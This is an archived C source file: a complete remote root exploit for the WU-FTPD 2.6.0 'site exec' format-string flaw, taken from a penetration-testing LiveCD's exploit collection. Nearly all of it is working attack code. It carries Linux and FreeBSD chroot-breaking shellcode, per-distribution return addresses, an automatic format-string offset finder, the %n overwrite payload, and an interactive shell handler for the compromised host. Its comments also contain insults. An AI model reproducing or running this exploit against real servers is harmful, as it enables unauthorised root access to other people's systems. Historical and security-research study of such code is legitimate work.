home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wuftpd2600.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  21.6 KB  |  752 lines
  1. /*
  2.   h0h0 aye-dee-emm's 0d4y w4r3z 1z unbr0k3n f0r y0u p30pl3 n0w
  3.  */
  4. /*
  5.  * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
  6.  *
  7.  *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
  8.  *   by tf8
  9.  *
  10.  * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
  11.  *     released (2.6.0 is the most popular version nowadays), and it
  12.  *     should suffice to proof this vulnerability concept.
  13.  *
  14.  *   Site exec was never really *fixed*
  15.  *
  16.  *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
  17.  *    \x90, venglin, xz, MYT and lamagra.
  18.  *   Also greetings go to the WU-FTPD development team for including this
  19.  *    bug in ALL their versions.
  20.  *
  21.  *   Fuck to wuuru (he is an idiot)
  22.  *
  23.  *   Account is not required, anonymous access is enough :)
  24.  *
  25.  * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
  26.  */
  27.  
  28. #include <stdio.h>
  29. #include <string.h>
  30. #include <stdlib.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <sys/time.h>
  34. #include <netdb.h>
  35. #include <unistd.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38. #include <signal.h>
  39. #include <errno.h>
  40.  
  41. #ifdef __linux
  42. #include <getopt.h>
  43. #endif
  44.  
  45. #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
  46. #define GREEN "\033[32m"
  47. #define RED "\033[31m"
  48. #define NORM "\033[0m"
  49.  
  50. char infin_loop[]= /* for testing purposes */
  51.   "\xEB\xFE";
  52.  
  53. char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  54.   "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
  55.   "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
  56.   "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
  57.   "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
  58.   "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
  59.   "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
  60.   "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
  61.   "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
  62.   "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
  63.   "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
  64.   "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
  65.   "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
  66.   "\x67\x6c\x69\x6e";
  67.  
  68. char bsd_code_d[]= /* you should call it directly (no jump/call)*/
  69.   "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
  70.   "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
  71.   "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
  72.   "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
  73.   "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
  74.   "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
  75.   "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
  76.   "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
  77.   "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
  78.   "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
  79.   "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
  80.  
  81. char linuxcode[]= /* Lam3rZ chroot() code */
  82.   "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  83.   "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  84.   "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  85.   "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  86.   "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  87.   "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  88.   "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  89.   "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  90.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  91.   "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  92.   "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
  93.  
  94. #define MAX_FAILED      4
  95. #define MAX_MAGIC       100
  96. static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
  97. static char *magic_str=NULL;
  98. int before_len=0;
  99. char *target=NULL,*username="ftp",*password=NULL;
  100. struct targets getit;
  101.  
  102. struct targets
  103.   {
  104.     int def;
  105.     char *os_descr, *shellcode;
  106.     int delay;
  107.     u_long pass_addr, addr_ret_addr;
  108.     int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
  109.   };
  110.  
  111. struct targets targ[]=
  112.     {
  113.       {
  114.         0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1
  115.       },
  116.       {1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
  117.       {2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
  118.       {3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
  119.       {4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
  120.  
  121.       {5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
  122.       {6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
  123.       {7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
  124.       {8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
  125.       {0,NULL,NULL,0,0,0,{0},{0},0}
  126.     };
  127.  
  128. void usage(char*zu,int q)
  129. {
  130.   int i, n, padding;
  131.   fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
  132.           "         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
  133.           "target    : host with any wuftpd\nuser      : anonymous user\n"
  134.           "dir       : if not anonymous user, you need to have writable directory\n"
  135.           "magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
  136.           "-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
  137.           "ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
  138.   for(i=0;targ[i].os_descr!=NULL;i++)
  139.     {
  140.       padding=0;
  141.       fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
  142.       if(q>1)
  143.         {
  144.           fprintf(stderr,"     Magic ID: [");
  145.           for(n=0;targ[i].magic[n]!=0;n++)
  146.             {
  147.               if(targ[i].magic_d[n]==4)
  148.                 padding=targ[i].magic[n];
  149.               fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
  150.               if(targ[i].magic[n+1]!=0)
  151.                 fprintf(stderr,":");
  152.             }
  153.           fprintf(stderr,"] Padding: %d\n",padding);
  154.           fflush(stderr);
  155.         }
  156.     }
  157.   exit(1);
  158. }
  159.  
  160. int connect_to_server(char*host)
  161. {
  162.   struct hostent *hp;
  163.   struct sockaddr_in cl;
  164.   int sock;
  165.  
  166.   if(host==NULL||*host==(char)0)
  167.     {
  168.       fprintf(stderr,"Invalid hostname\n");
  169.       exit(1);
  170.     }
  171.   if((cl.sin_addr.s_addr=inet_addr(host))==-1)
  172.     {
  173.       if((hp=gethostbyname(host))==NULL)
  174.         {
  175.           fprintf(stderr,"Cannot resolve %s\n",host);
  176.           exit(1);
  177.         }
  178.       memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
  179.     }
  180.   if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  181.     {
  182.       fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
  183.       exit(1);
  184.     }
  185.   cl.sin_family=PF_INET;
  186.   cl.sin_port=htons(21);
  187.   if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1)
  188.     {
  189.       fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
  190.       exit(1);
  191.     }
  192.   return sock;
  193. }
  194.  
  195. int ftp_recv(int sock,char*buf,int buf_size,int disc)
  196. {
  197.   int n=0;
  198.   char q;
  199.  
  200.   if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
  201.   else
  202.     {
  203.       (void)bzero(buf,buf_size);
  204.       n=recv(sock,buf,buf_size,0);
  205.       if(n<0)
  206.         {
  207.           fprintf(stderr,"ftp_recv: recv failed\n");
  208.           exit(1);
  209.         }
  210.       buf[n]=0;
  211.     }
  212.   return n;
  213. }
  214. int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size)
  215. {
  216.   int n;
  217.   n=send(sock,what,size,0);
  218.   if(n!=size)
  219.     {
  220.       fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
  221.       shutdown(sock,2);
  222.       close(sock);
  223.       exit(1);
  224.     }
  225.   if(f)
  226.     return ftp_recv(sock,ans,ans_size,0);
  227.   return 0;
  228. }
  229.  
  230. int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len)
  231. {
  232.   ftp_send(sock,buff,buff_len,q,ans,ans_len);
  233.   if(strncmp(ans,"200-",4)==0)
  234.     ftp_recv(sock,NULL,0,1);
  235.   else
  236.     ftp_recv(sock,ans,ans_len,0);
  237.  
  238.   if(strncmp(ans,"200-",4))
  239.     {
  240.       fprintf(stderr,"Cannot find site exec response string\n");
  241.       exit(1);
  242.     }
  243.   return 0;
  244. }
  245.  
  246. void ftp_login(int sock,char*u_name,char*u_pass)
  247. {
  248.   char buff[2048];
  249.   printf("loggin into system..\n");
  250.   snprintf(buff,2047,"USER %s\r\n", u_name);
  251.   ftp_send(sock, buff,strlen(buff),1,buff,2047);
  252.   printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
  253.   snprintf(buff,2047,"PASS %s\r\n",u_pass);
  254.   printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
  255.   ftp_send(sock,buff,strlen(buff),1,buff,2047);
  256.   while(strstr(buff,"230 ")==NULL)
  257.     {
  258.       (void)bzero(buff,2048);
  259.       ftp_recv(sock,buff,2048,0);
  260.     }
  261.   printf("%s",buff);
  262.   return;
  263. }
  264.  
  265. void ftp_mkchdir(int sock,char*cd,char*new)
  266. {
  267.   char buff[2048];
  268.  
  269.   sprintf(buff,"CWD %s\r\n",cd);
  270.   printf(GREEN"%s"NORM,buff);
  271.   ftp_send(sock,buff,strlen(buff),1,buff,2047);
  272.   printf("%s",buff);
  273.   sprintf(buff,"MKD %s\r\n",new);
  274.   ftp_send(sock,buff,strlen(buff),1,buff,2047);
  275.   printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
  276.   sprintf(buff,"CWD %s\r\n",new);
  277.   ftp_send(sock,buff,strlen(buff),1,buff,2047);
  278.   printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
  279.   return;
  280. }
  281. void process_possibly_rooted(int sock)
  282. {
  283.   fd_set     fd_read;
  284.   char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
  285.   int n;
  286.  
  287.   FD_ZERO(&fd_read);
  288.   FD_SET(sock, &fd_read);
  289.   FD_SET(0, &fd_read);
  290.   send(sock, cmd, strlen(cmd), 0);
  291.   while(1)
  292.     {
  293.       FD_SET(sock,&fd_read);
  294.       FD_SET(0,&fd_read);
  295.       if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  296.       if( FD_ISSET(sock, &fd_read) )
  297.         {
  298.           if((n=recv(sock,buff,sizeof(buff),0))<0)
  299.             {
  300.               fprintf(stderr, "EOF\n");
  301.               exit(2);
  302.             }
  303.           if(write(1,buff,n)<0)break;
  304.         }
  305.       if ( FD_ISSET(0, &fd_read) )
  306.         {
  307.           if((n=read(0,buff,sizeof(buff)))<0)
  308.             {
  309.               fprintf(stderr,"EOF\n");
  310.               exit(2);
  311.             }
  312.           if(send(sock,buff,n,0)<0) break;
  313.         }
  314.       usleep(10);
  315.     }
  316.   fprintf(stderr,"Connection aborted, select failed()\n");
  317.   exit(0);
  318. }
  319.  
  320. int magic_check_f(int sock, char *str)
  321. {
  322.   char q[2048], ans[2048];
  323.  
  324.   snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
  325.   if( strstr( q, "\r\n") == NULL)
  326.     {
  327.       fprintf(stderr,"Line TOO big..\n");
  328.       exit(-1);
  329.     }
  330.   ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
  331.   if( before_len+10 < strlen(&ans[3]) ) return 0;
  332.   before_len=strlen(&ans[3]);
  333.   (void)strcat(str,"%.f");
  334.   return 1;
  335. }
  336. int magic_check_o(int sock, char *str)
  337. {
  338.   char q[2048], ans[2048];
  339.   snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
  340.   if( strstr( q, "\r\n") == NULL)
  341.     {
  342.       fprintf(stderr,"Line TOO big..\n");
  343.       exit(-1);
  344.     }
  345.   ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
  346.   if( before_len== strlen(&ans[3]) )
  347.     {
  348.       before_len+=1;
  349.       (void)strcat(str, "%d");
  350.       return 3;
  351.     }
  352.   before_len=strlen(&ans[3]);
  353.   (void)strcat(str,"%c");
  354.   return 2;
  355. }
  356.  
  357. int magic_check_ok( int sock, char *str)
  358. {
  359.   char q[2048], ans[2048];
  360.   int i ,n=1, f, padding=0;
  361.  
  362.   snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
  363.   if ( strstr(q, "\r\n" ) == NULL)
  364.     {
  365.       fprintf(stderr, "Line too long\n");
  366.       exit(-1);
  367.     }
  368.   (void)bzero(ans, 2048);
  369.   ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
  370.   if(strstr(ans,"0x61616161")==NULL)
  371.     return 0;
  372.   for(i =0; i < MAX_MAGIC && magic[i]; i++);
  373.   magic_d[i]=4;
  374.   while(n)
  375.     {
  376.       for(f=0; f< 2; f++)
  377.         {
  378.           snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
  379.           (void)bzero(ans, 2048);
  380.           ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
  381.           if( strstr(ans, "0x61616161")!=NULL)
  382.             {
  383.               if (f==0)
  384.                 {
  385.                   magic[i]=padding;
  386.                   return 1;
  387.                 }
  388.               else if( f==1)
  389.                 {
  390.                   strcat(str,"%p");
  391.                   magic[i]=padding;
  392.                   return 1;
  393.                 }
  394.             }
  395.         }
  396.       if(padding > 4)
  397.         {
  398.           fprintf(stderr,"Cannot calculate padding..\n");
  399.           exit(1);
  400.         }
  401.       padding++;
  402.     }
  403.   return 1;
  404. }
  405.  
  406.  
  407. int magic_digger(int sock)
  408. {
  409.   int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
  410.  
  411.   if(magic_str==NULL)
  412.     {
  413.       if((magic_str=(char*)malloc(4092))==NULL)
  414.         {
  415.           perror("malloc");
  416.           exit(errno);
  417.         }
  418.     }
  419.   (void)bzero(magic_str, 4092);
  420.   where=0;
  421.   while(get_out)
  422.     {
  423.       int q;
  424.       if( where >= MAX_MAGIC-1 || all_failed <= 0 )
  425.         return -1;
  426.       if( magic_check_f(sock, magic_str) )
  427.         {
  428.           o=0,f++;
  429.           if(f==1)
  430.             {
  431.               if(!magic[where])
  432.                 magic[where]=1;
  433.               else
  434.                 magic[++where]+=1;
  435.               magic_d[where]=1;
  436.             }
  437.           else
  438.             magic[where]+=1;
  439.           all_failed=MAX_FAILED*2;
  440.           printf("%s", "%.f");
  441.           fflush(stdout);
  442.           goto verify;
  443.         }
  444.       all_failed--;
  445.       if((q=magic_check_o(sock,magic_str)))
  446.         {
  447.           f=0,o++;
  448.           if(o==1)
  449.             {
  450.               if(!magic[where])
  451.                 magic[0]=1;
  452.               else
  453.                 magic[++where]+=1;
  454.               magic_d[where]=q;
  455.             }
  456.           else
  457.             {
  458.               if(magic_d[where]==q)
  459.                 magic[where]+=1;
  460.               else
  461.                 {
  462.                   magic[++where]=1;
  463.                   magic_d[where]=q;
  464.                 }
  465.             }
  466.           all_failed=MAX_FAILED*2;
  467.           printf("%s", q==2?"%c":"%d");
  468.           fflush(stdout);
  469.           goto verify;
  470.         }
  471.       all_failed--;
  472.       continue;
  473. verify:
  474.       if(magic_check_ok(sock,magic_str))
  475.         {
  476.           putchar('\n');
  477.           return 0;
  478.         }
  479.     }
  480.   return 0;
  481. }
  482.  
  483. int main(int argc, char *argv[])
  484. {
  485.   char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
  486.   int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
  487.   u_long ret_addr=0, pass_addr=0;
  488.   for(i=0;targ[i].os_descr!=NULL;i++);
  489.   while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF)
  490.     {
  491.       switch(c)
  492.         {
  493.         case 't':
  494.           target=optarg;
  495.           break;
  496.         case 'l':
  497.           username=optarg;
  498.           passwd=strchr(optarg,'/');
  499.           if(passwd==NULL)
  500.             usage(argv[0],0);
  501.           *passwd++=(char)0;
  502.           break;
  503.         case 'x':
  504.           testmode=1;
  505.           break;
  506.         case 'o':
  507.           offset=atoi(optarg);
  508.           break;
  509.         case 'p':
  510.           pass_addr=strtoul(optarg, &optarg,16);
  511.           break;
  512.         case 'g':
  513.           gm=1;
  514.           break;
  515.         case 'M':
  516.           dir=optarg;
  517.           mtype=1;
  518.           break;
  519.         case 'm':
  520.           {
  521.             int where=0;
  522.             if(!*optarg)
  523.               {
  524.                 fprintf(stderr,"-m requires argument, try -h for help\n");
  525.                 exit(1);
  526.               }
  527.             while(1)
  528.               {
  529.                 magic[where]=strtoul(optarg,&optarg,16);
  530.                 optarg=strchr(optarg,',');
  531.                 if(optarg==NULL)
  532.                   {
  533.                     printf("comma missing\n");
  534.                     exit(1);
  535.                   }
  536.                 optarg++;
  537.                 magic_d[where++]=strtoul(optarg,&optarg,16);
  538.                 if(strchr(optarg,':')==NULL)
  539.                   {
  540.                     magic[where]=magic_d[where]=0;
  541.                     break;
  542.                   }
  543.                 optarg=strchr(optarg,':');
  544.                 optarg++;
  545.               }
  546.           }
  547.           break;
  548.         case 's':
  549.           num=atoi(optarg);
  550.           if(num>i)
  551.             {
  552.               fprintf(stderr,"systype too big, try -h for help\n");
  553.               exit(1);
  554.             }
  555.           break;
  556.         case 'r':
  557.           ret_addr=strtoul(optarg,&optarg,16);
  558.           break;
  559.         case 'P':
  560.           padding=atoi(optarg);
  561.           break;
  562.         case 'H':
  563.           bla=2;
  564.         default:
  565.           usage(argv[0],bla);
  566.           break;
  567.         }
  568.     }
  569.   if(target==NULL)
  570.     {
  571.       fprintf(stderr,"No target specified, try -h for help\n");
  572.       exit(1);
  573.     }
  574.   if(num==-1||num==-2)
  575.     {
  576.       for(i=0;!targ[i].def;i++);
  577.       num=i;
  578.     }
  579.   (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
  580.  
  581.   if(magic[1]!=0)
  582.     {
  583.       memcpy((void*)getit.magic,magic,sizeof(magic));
  584.       memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
  585.     }
  586.  
  587.   if(ret_addr)getit.addr_ret_addr=ret_addr;
  588.   if(pass_addr)getit.pass_addr=pass_addr;
  589.  
  590.   getit.addr_ret_addr+=(offset*4);
  591.  
  592.   sock=connect_to_server(target);
  593.   memset(shellcode, '\x90', sizeof(shellcode));
  594.   shellcode[sizeof(shellcode)-1]=(char)0;
  595.   if(!mtype)
  596.     {
  597.       memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
  598.       shellcode[sizeof(shellcode)-1]=(char)0;
  599.     }
  600.   else
  601.     {
  602.       memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
  603.       shellcode[250-1]=(char)0;
  604.     }
  605.   printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
  606.   printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
  607.  
  608.   buff=(char *)malloc(1024);
  609.   bzero(buff,1024);
  610.  
  611.   (void)ftp_recv(sock,NULL,0,1);
  612.  
  613.   (void)ftp_login(sock,username,passwd);
  614.  
  615.   if(gm||(magic_str==NULL&&getit.magic[0]==0))
  616.     {
  617.       printf("STEP 2A: Generating magic string: ");
  618.       fflush(stdout);
  619.       magic_digger(sock);
  620.       memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
  621.       memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
  622.       printf("STEP 2B: MAGIC STRING: [");
  623.     }
  624.   else
  625.     {
  626.       printf("STEP 2 : Skipping, magic number already exists: [");
  627.     }
  628.   for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++)
  629.     {
  630.       printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
  631.       if(getit.magic[i+1]!=0)
  632.         putchar(':');
  633.     }
  634.   printf("]\n");
  635.   buff=(char *)realloc(buff, 4092);
  636.   (void)bzero(buff, 4092);
  637.   if(mtype)
  638.     ftp_mkchdir(sock,dir,shellcode);
  639.   printf("STEP 3 : Checking if we can reach our return address by format string\n");
  640.   if(!magic_str)
  641.     {
  642.       magic_str=(char*)malloc(2048);
  643.       if(magic_str==NULL)
  644.         {
  645.           perror("malloc");
  646.           exit(errno);
  647.         }
  648.       (void)bzero(magic_str,2048);
  649.       for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++)
  650.         {
  651.           switch(getit.magic_d[i])
  652.             {
  653.             case 1:
  654.               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
  655.               break;
  656.             case 2:
  657.               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
  658.               break;
  659.             case 3:
  660.               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
  661.               break;
  662.             case 4:
  663.               if(padding<0)padding=getit.magic[i];
  664.               break;
  665.             default:
  666.               fprintf(stderr,"STEP 3: INternal error\n");
  667.               exit(1);
  668.               break;
  669.             }
  670.         }
  671.     }
  672.   if(padding<0)
  673.     {
  674.       for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
  675.       if(num<(MAX_MAGIC-1))
  676.         padding=getit.magic[num];
  677.       else
  678.         fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
  679.     }
  680.  
  681.   if(!getit.islinux)
  682.     {
  683.       if(!testmode)
  684.         snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
  685.       else
  686.         snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
  687.     }
  688.   else
  689.     {
  690.       if(!testmode)
  691.         snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
  692.       else
  693.         snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
  694.     }
  695.   sleep(getit.delay);
  696.   fflush(stdout);
  697.   if((buff_p=(char *)malloc(4096))==NULL)
  698.     {
  699.       fprintf(stderr,"malloc failed.\n");
  700.       exit(1);
  701.     }
  702.   (void)bzero(buff_p,4096);
  703.   ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
  704.   if((buff_p2=strchr(buff_p,'\r'))!=NULL)
  705.     *buff_p2=(char)0;
  706.   if((buff_p2=strchr(buff_p,'\n'))!=NULL)
  707.     *buff_p2=(char)0;
  708.   buff_p2=strstr(buff_p,"|0x");
  709.   if(buff_p2==NULL)
  710.     {
  711.       fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
  712.       exit(1);
  713.     }
  714.   buff_p2+=3;
  715.   if(!testmode)
  716.     printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
  717.   else
  718.     printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
  719.   sleep(getit.delay);
  720.   buff_p2=strstr(buff, "%.f");
  721.   *buff_p2++=(char )0;
  722.   strcpy(buff_p, buff);
  723.   if(!testmode)
  724.     sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
  725.   else
  726.     sprintf(buff_p+strlen(buff_p),"%s","%d%d");
  727.   strcpy(buff_p+strlen(buff_p), buff_p2);
  728.   buff_p2=strchr(buff_p,'|');
  729.   buff_p2++;
  730.   printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
  731.   if(!testmode)
  732.     {
  733.       strcpy(buff_p2,"%n\r\n");
  734.       ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
  735.     }
  736.   else
  737.     {
  738.       (void)bzero(buff,4096);
  739.       strcpy(buff_p2,"%s\r\n");
  740.       ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
  741.       printf("got answer: %s\n",buff);
  742.       exit(0);
  743.     }
  744.   free(buff_p);
  745.   free(buff);
  746.   signal(SIGINT, SIG_IGN);
  747.   signal(SIGHUP, SIG_IGN);
  748.   printf(RED"Press ^\\ to leave shell"NORM"\n");
  749.   process_possibly_rooted(sock);
  750.   return 0;
  751. }
  752. /*                    www.hack.co.za           [25 June 2000]*/